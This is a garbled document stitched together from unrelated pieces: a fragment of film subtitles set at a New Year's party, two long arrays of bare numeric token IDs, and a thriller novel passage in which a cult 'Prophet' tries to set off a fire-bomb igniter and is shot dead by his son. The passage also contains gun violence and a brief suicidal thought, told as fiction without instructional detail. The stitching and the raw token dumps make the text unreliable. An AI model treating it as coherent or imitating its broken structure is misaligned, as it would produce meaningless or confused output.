"Did you ever think that maybe you could have a good time if you just shut your freakin' mouth for five seconds?" "I mean, nothing's good enough for you." "God." "Oh, my God." "What?" "This is the address I wrote down for my cousin's party." "You're shitting me." "No way." "This is totally the right address." "Yes." "We're saved." "Thank you, God." "We're going to the party." "Come on." "Come on." "Dave, I'll catch up with you later." "Stephie:" "Come on, let's go to the party." "[Moans]" "Elvis Costello:" "?" "As I walk through?" "?" "This wicked world?" "?" "Searching for light?" "?" "In the darkness of insanity?" "?" "I ask myself?" "?" "Is all hope lost?" "?" "Is there only?" "?" "Pain and hatred?" "?" "And misery?" "?" "And each time I feel like this inside?" "?" "There's one thing I want to know?" "?" "What's so funny about?" "?" "Peace, love and understanding?" "?" "Oh?" "?" "What's so funny about?" "?" "Peace, love and understanding?" "Hush your mouth, baby." "?" "And as I walk on?" "?" "Through troubled times?" "?" "My spirit gets so downhearted?" "?" "Sometimes?" "?" "So where are the strong?" "?" "Who are the trusted?" "?" "And where is that harmony?" "?" "Sweet harmony?" "?" "'Cause each time?" "?" "I feel it slipping away?" "?" "It just makes me want to cry?" "?" "What's so funny...?" "Hi." "This must be it, huh?" "Happy New Year." "All:" "Five... four... three... two... one." "Happy New Year!" "[Groans] Ohh." "Oh, God." "Ow." "Ow." "[Gasps] Jesus." "Hi." "Hi, puppy." "Good dog." "Good dog." "Hey." "Wake up." "Huh?" "Who the fuck are you?" "I live here." "Who the fuck are you?" "Oh, you're Monica." "Hi." "I'm Stephie." "I'm a friend of your cousin Val's." "My cousin Val?" "From Ronkonkoma?" "Yeah, yeah." "She brought me here last night." "Oh, God." "I'm so hung over." "I can't believe it." "M-My cousin Val from Ronkonkoma was here last night?" "Uh, yeah." "Her and about a million other people." "Well, that's great." "That's just great." "Everybody came and I missed it." "[Gasps]" "This is so cool." "Oh, and I called my parents, and they want you to come over for dinner tonight." "What?" "No, it's cool, 'cause I told them" "I slept

[ 878, 9470, 25859, 13, 533, 806, 344, 651, 452, 281, 11883, 4457, 436, 2360, 15, 187, 187, 510, 21259, 6514, 19004, 839, 253, 5254, 38149, 598, 715, 24336, 434, 27929, 15, 733, 3543, 38514, 285, 258, 1031, 285, 5412, 15, 187, 187, 1328, 7320, 598, 253, 2806, 17848, 326, 574, 644, 40981, 264, 689, 253, 10955, 11834, 253, 5006, 434, 3033, 830, 15, 1244, 627, 13, 11834, 253, 49943, 13, 344, 3047, 352, 15, 380, 4900, 2562, 369, 247, 2969, 2806, 3817, 342, 247, 9711, 17512, 285, 247, 1643, 16020, 285, 20994, 327, 697, 2454, 15, 329, 1355, 15862, 1708, 369, 28115, 6627, 4759, 15, 23195, 326, 24336, 1119, 247, 5234, 342, 1264, 6887, 7101, 795, 5089, 13, 5566, 13, 8726, 3333, 733, 369, 275, 253, 795, 21381, 64, 1899, 15, 187, 187, 31900, 316, 17609, 253, 3943, 281, 795, 8997, 4414, 1244, 13, 816, 281, 320, 2119, 13, 344, 7320, 562, 253, 2978, 273, 295, 469, 5450, 6371, 432, 253, 2813, 434, 2806, 285, 2502, 8545, 17596, 285, 24145, 745, 253, 11452, 434, 17512, 15, 187, 187, 5872, 13, 323, 253, 806, 673, 275, 2067, 3038, 13, 344, 4136, 2994, 247, 3676, 25790, 273, 6619, 15, 187, 187, 1989, 253, 22135, 369, 2159, 14, 27379, 347, 521, 7664, 323, 34327, 43801, 896, 689, 779, 15, 7900, 369, 703, 32, 1244, 835, 369, 253, 32550, 32, 187, 187, 4118, 187, 187, 4, 14114, 187, 187, 19710, 2356, 432, 253, 3603, 3304, 247, 24096, 275, 2914, 273, 399, 25406, 5197, 13, 253, 32550, 9047, 253, 4585, 1659, 13, 31288, 253, 1463, 2774, 15, 380, 30513, 574, 4269, 521, 2798, 281, 5492, 285, 17052, 281, 830, 327, 521, 2133, 5747, 253, 5412, 15, 795, 510, 7733, 64, 651, 4720, 320, 6312, 11608, 13, 285, 275, 253, 747, 1533, 326, 9461, 598, 432, 253, 39187, 273, 253, 1711, 13, 344, 651, 320, 247, 7122, 15, 187, 187, 1328, 10141, 521, 3698, 15, 380, 4964, 273, 16505, 12777, 574, 1705, 13, 285, 352, 369, 673, 281, 13673, 795, 510, 6495, 8726, 3333, 4325, 521, 18553, 11320, 13, 344, 5176, 253, 8905, 323, 253, 4900, 2562, 985, 15, 733, 369, 247, 2969, 2813, 1160, 432, 1892, 2806, 8013, 342, 247, 9711, 9017, 494, 17512, 285, 247, 20661, 5340, 326, 6107, 253, 38770, 6409, 15, 187, 187, 510, 32550, 908, 521, 17300, 281, 7102, 253, 12107, 3835, 15492, 896, 13, 19678, 247, 6627, 2502, 6409, 15, 754, 12293, 715, 253, 10805, 8762, 285, 20061, 521, 6174, 562, 3195, 624, 314, 387, 521, 7123, 15, 754, 8231, 281, 521, 15746, 327, 253, 5412, 3216, 285, 5439, 521, 15944, 281, 253, 4585, 1659, 15, 2635, 344, 10184, 253, 6409, 15, 187, 187, 1989, 2717, 4592, 15, 187, 187, 1328, 8715, 626, 3264, 271, 18864, 13, 533, 344, 574, 18998, 326, 344, 651, 923, 253, 3289, 12948, 281, 1495, 1561, 253, 34086, 434, 8323, 15, 1292, 627, 369, 2717, 627, 15, 1621, 3289, 15, 1621, 861, 273, 2712, 562, 273, 253, 9826, 15, 187, 187, 1328, 3735, 253, 3590, 273, 17682, 3513, 4927, 25083, 285, 3260, 326, 344, 574, 4242, 15, 45138, 253, 20086, 574, 6888, 253, 2670, 273, 253, 17651, 285, 574, 27826, 3253, 15, 187, 187, 34, 5149, 273, 31917, 594, 490, 656, 10367, 326, 352, 1160, 779, 1908, 3192, 521, 1211, 1495, 327, 326, 1077, 6308, 22007, 689, 779, 15, 380, 2065, 85, 743, 317, 18782, 964, 2031, 18482, 360, 25288, 18180, 275, 521, 18553, 11320, 3543, 5536, 1411, 521, 1930, 15, 754, 18998, 8133, 253, 5412, 15474, 273, 253, 5654, 1411, 521, 16511, 285, 43464, 253, 9632, 15, 187, 187, 1989, 344, 4571, 626, 513, 326, 15, 831, 369, 816, 1529, 1071, 15, 754, 574, 1705, 594, 2080, 13, 533, 344, 574, 4242, 969, 15, 733, 3589, 626, 253, 806, 673, 13, 285, 352, 5082, 626, 320, 253, 1390, 15, 754, 651, 513, 795, 510, 7733, 64, 1919, 253, 1390, 6345, 273, 1495, 369, 15070, 432, 779, 407, 253, 20086, 285, 616, 3221, 47498, 15, 187, 187, 510, 32550, 651, 1620, 1918, 598, 15, 754, 651, 1089, 247, 747, 795, 1779, 5458, 64, 285, 1265, 969, 15, 187, 187, 4118, 187, 187, 4, 13900, 187, 187, 51, 486, 6276, 779, 13, 23698, 3697, 1171, 1001, 16113, 323, 247, 1039, 281, 1959, 2994, 432, 253, 46887, 15, 754, 3058, 247, 1355, 5313, 273, 5148, 751, 247, 9176, 13, 533, 342, 521, 3564, 3033, 1840, 253, 38458, 13, 344, 4571, 626, 1014, 3186, 323, 581, 15, 187, 187, 1328, 10141, 253, 8886, 15, 733, 369, 673, 15, 187, 187, 1328, 3261, 2439, 253, 33924, 387, 521, 3392, 15, 380, 32550, 369, 327, 521, 15746, 13, 521, 1481, 14203, 1698, 15, 18190, 1364, 452, 4783, 3430, 15, 24336, 1364, 452, 17288, 15, 187, 187, 10859, 1171, 1001, 16632, 326, 344, 812, 1928, 11010, 13, 984, 275, 326, 2774, 344, 3260, 326, 352, 651, 452, 644, 247, 29553, 528, 18864, 273, 6619, 285, 15704, 15, 1292, 1110, 14021, 4571, 626, 34165, 521, 13572, 2798, 285, 246, 20354, 7765, 15, 754, 3543, 247, 3282, 273, 6619, 533, 642, 11010, 13, 816, 253, 1072, 288, 2555, 628, 405, 15, 754, 8156, 1024, 665, 369, 5506, 323, 15606, 326, 31009, 3304, 779, 13, 285, 352, 369, 521, 2628, 281, 5416, 326, 253, 637, 387, 11406, 323, 521, 1142, 27932, 15, 187, 187, 10859, 1171, 1001, 5439, 521, 987, 3174, 281, 253, 38458, 285, 7320, 745, 521, 22756, 285, 32584, 15, 2635, 344, 908, 521, 25283, 281, 3785, 896, 253, 3727, 327, 253, 38081, 3817, 3587, 275, 2914, 273, 779, 15, 380, 18862, 6497, 1527, 13, 285, 344, 25266, 3304, 323, 2712, 326, 344, 812, 897, 15, 733, 6221, 760, 247, 1643, 9380, 285, 4958, 11595, 84, 15, 1292, 627, 369, 581, 8031, 273, 12960, 7177, 3033, 2366, 407, 247, 1355, 9711, 2929, 11536, 15, 187, 187, 2861, 12655, 521, 2133, 281, 697, 7787, 13, 344, 22803, 521, 3174, 3304, 253, 38458, 285, 10184, 253, 8031, 273, 9380, 562, 4830, 253, 5254, 1111, 15, 2635, 521, 4669, 269, 16630, 689, 253, 9380, 1919, 344, 4925, 253, 8031, 4508, 253, 2929, 11536, 15, 733, 2335, 247, 1643, 7253, 273, 521, 30106, 305, 1658, 272, 9645, 314, 689, 253, 9380, 1919, 597, 812, 1089, 247, 2186, 15, 1292, 344, 369, 2104, 281, 6558, 247, 3578, 3472, 15909, 327, 731, 285, 7808, 3324, 253, 8031, 598, 281, 253, 38458, 835, 344, 812, 3986, 352, 342, 521, 3564, 15, 187, 187, 1328, 4541, 5176, 253, 2929, 11536, 285, 48293, 352, 15, 2726, 690, 3434, 13, 253, 1355, 5313, 273, 5148, 19347, 875, 253, 20173, 5569, 285, 253, 45288, 13, 285, 672, 344, 30139, 2400, 253, 45288, 1411, 253, 13723, 13, 344, 1119, 326, 253, 22081, 9970, 574, 3663, 616, 17628, 15, 754, 7320, 521, 987, 1133, 1959, 285, 1904, 626, 15105, 342, 253, 1669, 15, 6865, 369, 3515, 562, 15, 380, 32550, 651, 3517, 8968, 326, 253, 17651, 574, 4242, 285, 651, 15813, 715, 253, 2360, 281, 6909, 253, 4852, 273, 690, 643, 2021, 15, 187, 187, 1328, 4571, 626, 1581, 326, 281, 5108, 15, 187, 187, 31840, 275, 253, 7237, 13, 344, 574, 2326, 24336, 19553, 28630, 432, 247, 873, 273, 1892, 8013, 12783, 275, 253, 896, 273, 253, 37342, 251, 15, 3697, 1171, 1001, 434, 3524, 369, 326, 627, 651, 320, 8914, 1561, 253, 12783, 347, 973, 15, 187, 187, 3378, 253, 8013, 260, 25428, 1335, 277, 36874, 432, 521, 1669, 1133, 13, 344, 13222, 1527, 253, 15828, 3369, 285, 6337, 281, 253, 896, 273, 253, 2806, 36175, 15, 25081, 253, 10581, 18862, 13, 344, 1119, 253, 17671, 285, 16113, 3304, 731, 15, 187, 187, 10859, 1171, 1001, 369, 19961, 387, 752, 344, 1119, 15, 733, 369, 247, 2336, 7116, 924, 2061, 284, 67, 636, 273, 10485, 610, 285, 28630, 15, 1707, 497, 6763, 273, 16334, 285, 2067, 1133, 44186, 13, 533, 253, 10485, 326, 7270, 521, 5130, 369, 247, 8566, 285, 14484, 32838, 14, 13565, 12077, 20260, 15, 187, 187, 28782, 314, 10935, 247, 1048, 11338, 342, 10488, 16334, 273, 964, 1857, 47108, 28630, 13, 344, 31800, 352, 715, 253, 10485, 285, 2335, 745, 846, 253, 32550, 15, 187, 187, 1328, 812, 923, 1716, 13409, 4886, 1977, 432, 399, 25406, 5197, 13, 13590, 6146, 327, 37268, 6448, 5720, 15, 3697, 1171, 1001, 812, 5476, 835, 253, 637, 369, 12860, 15, 2596, 2972, 6146, 285, 581, 2972, 9268, 285, 253, 32550, 812, 15813, 715, 253, 4410, 10243, 37049, 4660, 327, 2418, 5720, 15, 187, 187, 510, 2329, 369, 5412, 285, 3543, 5536, 275, 521, 18926, 347, 344, 6337, 1066, 37268, 6448, 15, 380, 8762, 331, 1947, 521, 24194, 15, 380, 32550, 369, 7824, 7808, 285, 38440, 13, 2820, 417, 281, 549, 1312, 18910, 15, 3697, 1171, 1001, 812, 4089, 253, 4927, 25083, 3551, 15, 9651, 651, 320, 1863, 28456, 689, 253, 17658, 16790, 285, 399, 25406, 5197, 275, 816, 247, 1643, 7253, 15, 187, 187, 56, 3867, 521, 9246, 281, 8670, 12150, 285, 7938, 13, 344, 13465, 281, 2810, 253, 8037, 875, 2994, 285, 253, 32550, 15, 380, 5662, 637, 369, 760, 247, 4289, 4669, 1977, 15, 187, 187, 5872, 1716, 13409, 17377, 689, 521, 9215, 285, 3047, 3697, 1171, 1001, 15, 7160, 2927, 12623, 15, 187, 187, 1989, 3697, 1171, 1001, 1904, 626, 3468, 1066, 15, 754, 13661, 3579, 1014, 7938, 13, 11196, 253, 4181, 281, 28089, 14, 12071, 4669, 15, 187, 187, 1773, 13409, 7320, 247, 7863, 25288, 432, 521, 11959, 15, 7850, 1048, 31361, 14, 3241, 293, 15474, 439, 303, 38086, 762, 253, 6406, 30161, 15, 187, 187, 32702, 555, 4669, 15, 187, 187, 1773, 13409, 5439, 253, 25288, 285, 11226, 15, 380, 6422, 47164, 49876, 285, 12433, 264, 285, 5103, 21253, 432, 697, 9092, 15, 12571, 281, 253, 3563, 4964, 285, 253, 787, 40304, 13, 253, 8068, 10198, 497, 347, 7107, 347, 3697, 1171, 1001, 574, 2455, 3735, 731, 15, 380, 9370, 273, 253, 5654, 6898, 253, 10837, 285, 32457, 745, 253, 5253, 273, 253, 20667, 9195, 15, 187, 187, 510, 806, 16950, 33497, 4618, 13, 816, 689, 3697, 1171, 1001, 434, 9215, 15, 754, 3735, 352, 9974, 247, 1113, 326, 344, 574, 816, 4817, 15, 754, 1904, 626, 1581, 2994, 281, 3523, 390, 1014, 32379, 15, 187, 187, 1044, 6111, 4669, 15, 187, 187, 1328, 9047, 347, 1716, 13409, 11205, 253, 964, 2031, 2849, 360, 15, 187, 187, 10859, 1171, 1001, 11205, 1512, 285, 29172, 896, 327, 253, 253, 9632, 273, 253, 20260, 15, 754, 3047, 1716, 13409, 434, 5654, 12433, 275, 521, 3961, 2961, 1133, 15, 3697, 1171, 1001, 434, 10485, 289, 328, 3466, 281, 1495, 15, 733, 369, 275, 4751, 12077, 4438, 13, 285, 1561, 816, 767, 7253, 13, 253, 2862, 11338, 273, 964, 1857, 47108, 16334, 574, 644, 20802, 15, 187, 187, 3650, 512, 253, 16334, 10903, 616, 1616, 13, 533, 2217, 273, 731, 858, 15, 1716, 13409, 434, 2133, 11898, 432, 253, 14977, 13, 285, 344, 259, 7193, 275, 3075, 347, 253, 29093, 18753, 758, 521, 15447, 15, 187, 187, 10859, 1171, 1001, 9047, 3394, 46196, 13, 1014, 347, 344, 6497, 281, 253, 3216, 2994, 15, 754, 3543, 5890, 285, 13477, 285, 28237, 528, 15, 733, 2335, 247, 1643, 7253, 323, 253, 3075, 281, 8749, 275, 521, 30781, 15, 1292, 13, 323, 690, 1921, 13, 344, 4571, 626, 1928, 253, 8762, 331, 25751, 521, 24194, 10542, 15, 754, 3543, 1708, 14, 24818, 13, 285, 247, 39856, 14974, 5471, 5195, 949, 521, 9246, 285, 23532, 456, 521, 5161, 15, 187, 187, 1328, 3260, 752, 369, 9369, 15, 14645, 574, 697, 5412, 9881, 1475, 779, 13, 39578, 521, 2133, 13, 12203, 323, 247, 7765, 281, 4459, 1977, 15, 1244, 352, 369, 323, 253, 1682, 15, 380, 9096, 369, 3426, 15, 754, 574, 33075, 326, 253, 32550, 651, 1620, 5237, 1529, 1436, 15, 733, 369, 347, 5211, 271, 12365, 347, 344, 812, 452, 2455, 13937, 323, 15, 187, 187, 34, 629, 273, 779, 16632, 326, 344, 812, 452, 2326, 521, 2021, 581, 1390, 673, 15, 308, 3485, 731, 326, 344, 7636, 731, 15, 47747, 731, 2810, 15, 322, 16948, 344, 369, 7016, 15, 187, 187, 1989, 1529, 629, 273, 779, 3260, 326, 597, 497, 1805, 745, 1293, 779, 15, 7160, 4852, 651, 4035, 15, 35099, 651, 48194, 610, 15, 380, 5753, 651, 1756, 598, 15, 1583, 651, 320, 5211, 15, 754, 5082, 626, 320, 627, 281, 923, 352, 13, 533, 275, 326, 2774, 13, 344, 3260, 326, 352 ]

need extensive counseling, but first he would have to survive beyond this night. The lighter fluid saturating the floor soaked up into Marcus's jeans. It felt slick and oily and cold. He pulled up the black cloth that had been draped over the bench beneath the boy's bound form. And there, beneath the shroud, he saw it. The igniter was a simple black box with a silver antenna and a few buttons and switches on its face. A small LED light was shining bright green. Below that Marcus found a switch with three positions marked _Test, Off, Fire._ It was in the _Fire_ position. Marcus switched the unit to _Off_. And, just to be sure, he pulled out the length of nichrome wire from the device's black and red electrical ports and snapped off the receiver's antenna. Then, for the first time in several hours, he allowed himself a deep sigh of relief. But the sensation was short-lived as his worry for Maggie crept back over him. Where was she? And where was the Prophet? ### # 133 Protected from the elements inside a recess in front of Daley Center, the Prophet watched the highest place, awaiting the proper moment. The anticipation had caused his heart to race and sweat to form on his body despite the cold. _The Work_ would finally be completed tonight, and in the new world that rose up from the ashes of the old, he would be a god. He checked his watch. The hour of reckoning had come, and it was time to spark _The Great Fire._ From his jacket pocket, he removed the remote for the igniter system. It was a simple device made from hard black plastic with a silver extendable antenna and a sliding plate that covered the ignition button. The Prophet used his thumb to guide the protective cover gently back, revealing a bright red button. He stepped into the falling snow and stretched his arms out reverently at his sides. He dropped to his knees on the cold ground and raised his gaze to the highest place. Then he pushed the button. But nothing happened. He hadn't expected an explosion, but he had imagined that he would see the fire burst to life within the chapel's windows. But there was nothing there. No fire. No sign of anything out of the ordinary. He heard the sound of approaching police sirens and knew that he had failed. Somehow the slaves had discovered the site of the ritual and had ruined everything. A wave of sadness so abysmal that it made him consider taking his own life on that very spot swept over him. The Colt Anaconda.44 Magnum pistol resting in his jacket pocket felt heavy against his side. He imagined putting the cold barrel of the gun against his temple and squeezing the trigger. But he couldn't do that. This was just another test. He had come so far, but he had failed again. It wasn't the first time, and it wouldn't be the last. He would do _The Work_ until the last breath of life was torn from him by the slaves and their false deity. The Prophet would never give up. He would find a new _Chosen_ and start again. ### # 134 Rage driving him, Harrison Schofield searched for a way to free himself from the restraints. He needed a small piece of metal like a pin, but with his hands bound above the dashboard, he couldn't even search for one. He checked the clock. It was time. He looked across the courtyard at his father. The Prophet was on his knees, his head hanging low. Something must have gone wrong. Marcus must have succeeded. Schofield wished that he could feel joy, because in that moment he knew that it would have been a marvelous explosion of relief and happiness. But those emotions couldn't penetrate his damaged heart and tainted soul. He felt a sense of relief but no joy, just the same hollowness. He realized now who was responsible for placing that sickness inside him, and it was his job to ensure that the man atoned for his many sins. Schofield raised his right foot to the dashboard and pulled off his shoe and sock. Then he used his toe to pull back the release on the glove box directly in front of him. The compartment fell open, and he scanned inside for anything that he could use. It contained only a few papers and vehicle manuals. But there was one stack of registration documents bound together by a small silver paperclip. Contorting his body to its limits, he slid his foot inside the dashboard and pushed the stack of papers out onto the floor mat. Then his feet fumbled over the papers until he reached the stack containing the paperclip. It took a few seconds of his toes groping blindly over the papers until they could find a hold. But he was able to maintain a tenuous grasp on them and slowly bring the stack up to the dashboard where he could reach it with his hands. He quickly removed the paperclip and straightened it. With some effort, the small piece of metal slipped between the roller lock and the straps, and when he tugged the straps against the grain, he found that the locking teeth had lost their grip. He pulled his right hand free and didn't bother with the left. Time was running out. The Prophet would soon realize that the ritual had failed and would slip into the night to destroy the lives of some other family. He couldn't allow that to happen. Earlier in the evening, he had seen Marcus retrieve ammunition from a set of hard plastic boxes in the back of the Yukon. Schofield's hope was that there would be weapons within the boxes as well. With the plastic cuffs still dangling from his left hand, he threw open the passenger door and ran to the back of the black SUV. Inside the rear compartment, he found the containers and searched inside them. Schofield was shocked at what he found. It was a veritable smorgasbord of weaponry and ammunition. There were thousands of rounds and several handguns, but the weapon that caught his eye was a compact and futuristic-looking automatic rifle. Quickly loading a long magazine with thirty rounds of.45 ACP ammunition, he slammed it into the weapon and took off after the Prophet. He could see Conlan moving away from Daley Center, heading north on Dearborn Street. Schofield could guess where the man was headed. One block north and one block east and the Prophet could slip into the Red Line subway station on State Street. The air was cold and felt heavy in his lungs as he ran down Dearborn. The snow stung his cheeks. The Prophet was walking slowly and calmly, trying not to arouse suspicion. Schofield could hear the sirens coming. Police would be swarming over the Temple Building and Daley Center in just a few seconds. Willing his legs to pump harder and faster, he fought to close the gap between himself and the Prophet. The older man was only a hundred feet away. Then Conlan glanced over his shoulder and saw Schofield. Their eyes locked. But Schofield didn't slow down. He pressed forward even faster, closing the distance to seventy-five feet. Conlan pulled a massive pistol from his coat. Its long stainless-steel barrel shimmered under the street lamps. Fifty feet. Conlan raised the pistol and fired. The powerful handgun roared and bucked and shot flame from its tip. Due to the late hour and the blizzard, the Chicago streets were as quiet as Schofield had ever heard them. The crack of the gun filled the silence and echoed off the glass of the neighboring buildings. The first bullet sailed wide, just over Schofield's shoulder. He heard it strike a car that he had just passed. He didn't allow himself to stop or even hesitate. Thirty feet. He watched as Conlan aimed the.44 magnum. Schofield aimed too and squeezed back on the the trigger of the rifle. He saw Conlan's gun buck in his bandaged hand. Schofield's weapon thundered to life. It was in fully automatic mode, and within just two seconds, the entire magazine of.45 ACP rounds had been exhausted. Not all the rounds struck their mark, but enough of them did. Conlan's body shook from the trauma, and he wailed in pain as the bullets pierced his flesh. Schofield watched events unfold, even as he fell to the ground himself. He felt warm and confused and nauseous. It took a few seconds for the pain to register in his abdomen. But, for some reason, he couldn't feel the snow stinging his cheeks anymore. He felt light-headed, and a numb floating feeling spread through his legs and penetrated his core. He knew what was happening. Death had its cold fingers around him, probing his body, searching for a soul to carry away. And it was for the best. The circle was complete. He had ensured that the Prophet would never harm another person. It was as happy an ending as he could have ever hoped for. A part of him wished that he could have seen his family one last time. Telling them that he loved them. Holding them close. Saying he was sorry. But another part of him knew that they were better off without him. Their lives would continue. Eleanor would remarry. The kids would grow up. They would be happy. He wouldn't be there to see it, but in that moment, he knew that it

[ 1911, 1587, 11501, 14, 10588, 14, 1672, 3014, 14, 31163, 6624, 7582, 1320, 13, 3775, 7474, 13, 12566, 7474, 3287, 535, 50274, 2309, 2380, 28, 187, 50275, 94, 187, 94, 187, 187, 15905, 253, 330, 16902, 9824, 187, 11133, 6155, 27657, 30, 1826, 18715, 1131, 11133, 6155, 1587, 73, 983, 15, 2566, 15, 37771, 318, 15, 10394, 15, 18038, 15, 20649, 15, 21830, 3287, 1380, 8749, 5300, 187, 50274, 605, 18715, 1131, 285, 6517, 278, 1212, 398, 535, 50274, 3373, 15, 788, 15226, 9604, 7047, 1336, 5023, 1911, 9, 36, 16902, 9824, 15, 2437, 558, 535, 1413, 23728, 27, 2951, 304, 387, 355, 4748, 187, 187, 2374, 7216, 13, 4416, 374, 13, 35307, 31400, 5544, 690, 773, 678, 982, 668, 281, 1524, 498, 2542, 10668, 347, 3637, 27, 544, 9604, 27, 6491, 588, 3839, 6152, 253, 1436, 665, 8599, 731, 1633, 15, 19253, 497, 23274, 407, 952, 6926, 2360, 665, 10939, 1119, 253, 24465, 16, 33244, 29713, 15, 9947, 812, 452, 23274, 731, 533, 344, 1904, 457, 85, 15, 2752, 16289, 1899, 310, 326, 352, 310, 2080, 1805, 21938, 187, 187, 2374, 6926, 13, 4416, 337, 387, 577, 27, 3156, 12920, 11867, 313, 20, 27, 3156, 5311, 673, 582, 309, 3863, 247, 1501, 12930, 4255, 47857, 10988, 15, 496, 326, 1501, 13, 309, 2540, 326, 627, 369, 247, 1077, 3710, 2408, 273, 4660, 941, 313, 23, 10988, 10, 275, 253, 4255, 31913, 39536, 2170, 294, 14, 22416, 264, 407, 2951, 304, 1162, 355, 13, 326, 581, 273, 253, 10988, 313, 33244, 30503, 10, 574, 271, 21938, 187, 187, 1909, 4879, 11066, 13, 253, 2022, 16100, 273, 2951, 304, 1162, 355, 310, 247, 294, 14, 22416, 318, 273, 4255, 31913, 39536, 13, 3981, 326, 773, 2369, 581, 1663, 556, 5087, 1199, 4116, 281, 668, 436, 2170, 275, 253, 2469, 285, 3981, 326, 616, 1263, 5520, 689, 2720, 2175, 984, 3786, 27, 773, 8836, 497, 18899, 342, 616, 9851, 3185, 273, 2686, 2509, 253, 14168, 1806, 753, 21938, 187, 187, 688, 7659, 6157, 13, 2951, 304, 285, 31400, 4159, 380, 47857, 33489, 13, 2670, 273, 253, 1024, 14, 1545, 10593, 40295, 257, 14, 35, 6749, 22826, 13, 556, 44494, 9619, 15, 1623, 253, 643, 1133, 13, 253, 1643, 10988, 327, 253, 25294, 285, 275, 253, 10755, 3176, 281, 452, 27336, 5777, 313, 47424, 266, 1162, 355, 13, 6752, 28, 443, 6905, 3172, 49, 481, 2058, 806, 17834, 436, 3133, 281, 17343, 253, 2934, 273, 773, 14456, 668, 21938, 187, 187, 10758, 2220, 247, 673, 13, 275, 253, 278, 1346, 273, 673, 313, 17961, 4695, 582, 1048, 1078, 7952, 10950, 574, 773, 78, 3149, 327, 7521, 1524, 498, 2542, 12819, 247, 1501, 7429, 31913, 39536, 310, 20754, 32, 11739, 13, 844, 611, 1826, 2064, 13, 275, 534, 26878, 844, 435, 13, 347, 4879, 407, 367, 928, 413, 10512, 13, 2540, 27, 964, 964, 964, 359, 2223, 4089, 952, 7579, 272, 326, 4243, 273, 31913, 39536, 403, 2970, 847, 491, 13, 21938, 187, 187, 6586, 407, 1616, 3889, 372, 259, 276, 88, 3066, 401, 44599, 1198, 5955, 273, 747, 1263, 15, 407, 2951, 304, 313, 49859, 10, 1162, 355, 4748, 15, 5128, 27, 5128, 5239, 908, 275, 436, 1263, 2486, 253, 28204, 947, 285, 30503, 941, 432, 253, 4782, 47857, 17136, 15, 17862, 30136, 337, 285, 374, 2085, 32985, 15, 1583, 3553, 562, 4660, 1548, 6787, 313, 66, 3946, 326, 773, 28935, 668, 30628, 13, 1014, 21938, 6998, 9699, 285, 14613, 1971, 323, 509, 22480, 8511, 13218, 27, 247, 12611, 2332, 15, 187, 4769, 14, 15870, 1387, 9699, 14613, 9694, 313, 7258, 11584, 10, 323, 37562, 422, 14, 3118, 22480, 8984, 452, 5183, 7756, 275, 2303, 5917, 15, 2596, 1355, 3410, 1263, 273, 15679, 11584, 5742, 323, 8511, 13218, 3237, 671, 2692, 5649, 15, 831, 1263, 33888, 253, 10307, 273, 247, 18052, 15679, 11584, 323, 509, 22480, 8511, 13218, 327, 247, 4067, 3410, 15, 28270, 14, 9389, 8548, 11245, 342, 8511, 13218, 13640, 275, 2620, 2390, 15, 7874, 2390, 1313, 2378, 13772, 323, 374, 4964, 689, 1668, 3618, 313, 79, 30, 1630, 10, 285, 581, 1387, 1313, 323, 1384, 3618, 313, 79, 30, 22, 481, 1876, 5014, 574, 767, 2060, 5091, 14, 1222, 1728, 12154, 15, 16531, 14, 16223, 20215, 497, 6312, 387, 8245, 13, 4260, 14, 21272, 13, 285, 1501, 14, 21272, 670, 8511, 13218, 3879, 285, 2905, 5917, 313, 70, 15, 72, 904, 9454, 481, 380, 3410, 369, 18705, 5343, 13, 5219, 13, 4122, 19149, 13, 35700, 13, 285, 417, 47199, 16, 38982, 28, 1599, 2363, 369, 8676, 15, 329, 5020, 369, 11245, 342, 2201, 27909, 8984, 285, 37562, 422, 14, 3118, 22480, 13216, 8984, 15, 21666, 2692, 1534, 7756, 432, 638, 14, 281, 1501, 14, 21272, 327, 253, 322, 3292, 43515, 50240, 13, 322, 3292, 330, 2331, 4431, 43515, 13, 1639, 12216, 10882, 36485, 13, 285, 15022, 11841, 35395, 414, 15, 380, 954, 3332, 1387, 313, 79, 30, 25, 10, 326, 908, 247, 625, 7473, 1025, 1971, 285, 2561, 7241, 5520, 3012, 625, 685, 858, 4321, 2758, 15, 831, 1263, 14371, 253, 25720, 285, 16453, 2323, 273, 15679, 11584, 3082, 275, 11138, 8511, 13218, 5917, 15, 5901, 1971, 778, 320, 3340, 9865, 984, 273, 697, 2105, 14, 38439, 13, 3687, 5268, 2289, 281, 10166, 26690, 13, 285, 5141, 275, 2675, 12940, 285, 35809, 7939, 281, 436, 1895, 15, 3840, 2561, 310, 3058, 281, 3157, 253, 10307, 273, 15679, 11584, 3082, 323, 8511, 13218, 285, 281, 9186, 35091, 273, 1818, 13, 23477, 273, 6973, 13, 285, 4870, 326, 4833, 1818, 15, 50, 27, 187, 187, 31484, 2127, 326, 10513, 247, 49703, 20459, 18712, 3345, 273, 8170, 37727, 187, 187, 42, 452, 1408, 715, 247, 1895, 2067, 2069, 1024, 835, 309, 452, 3715, 247, 2840, 21626, 2628, 13, 285, 309, 971, 619, 2670, 4849, 30015, 281, 8722, 253, 10130, 273, 436, 2628, 342, 247, 2840, 2898, 3239, 533, 309, 1978, 3515, 715, 3988, 2905, 24238, 15, 187, 7542, 21626, 44144, 403, 1429, 5113, 273, 9975, 9770, 12332, 13, 597, 403, 7141, 275, 253, 3596, 5447, 15, 1310, 368, 452, 873, 598, 634, 6389, 6283, 275, 824, 247, 1039, 326, 253, 2051, 6363, 2608, 323, 634, 2600, 4384, 2898, 1057, 417, 452, 3630, 2289, 281, 253, 20851, 5447, 13, 368, 476, 626, 2794, 747, 49703, 20459, 36235, 432, 2127, 326, 6613, 275, 634, 2600, 4384, 622, 15, 329, 3076, 42182, 16, 73, 471, 651, 320, 281, 7164, 253, 5447, 15607, 323, 634, 622, 6363, 2608, 327, 253, 3596, 5447, 15, 329, 1805, 2746, 651, 320, 281, 2118, 253, 10130, 14991, 3239, 715, 8170, 37727, 13, 984, 253, 8170, 37727, 622, 6363, 2395, 476, 3630, 281, 253, 3596, 5447, 1292, 840, 359, 7168, 253, 2644, 1127, 428, 309, 971, 619, 2670, 4849, 30015, 281, 320, 2104, 281, 8722, 253, 10130, 2, 187, 510, 760, 5795, 2900, 309, 476, 1158, 273, 310, 281, 452, 1529, 21626, 17455, 326, 22207, 690, 2238, 273, 15154, 313, 1542, 1650, 247, 3894, 3659, 1618, 275, 619, 2670, 4849, 10, 323, 747, 21626, 44144, 281, 2794, 13, 285, 10513, 352, 604, 271, 5382, 556, 644, 2879, 281, 326, 15154, 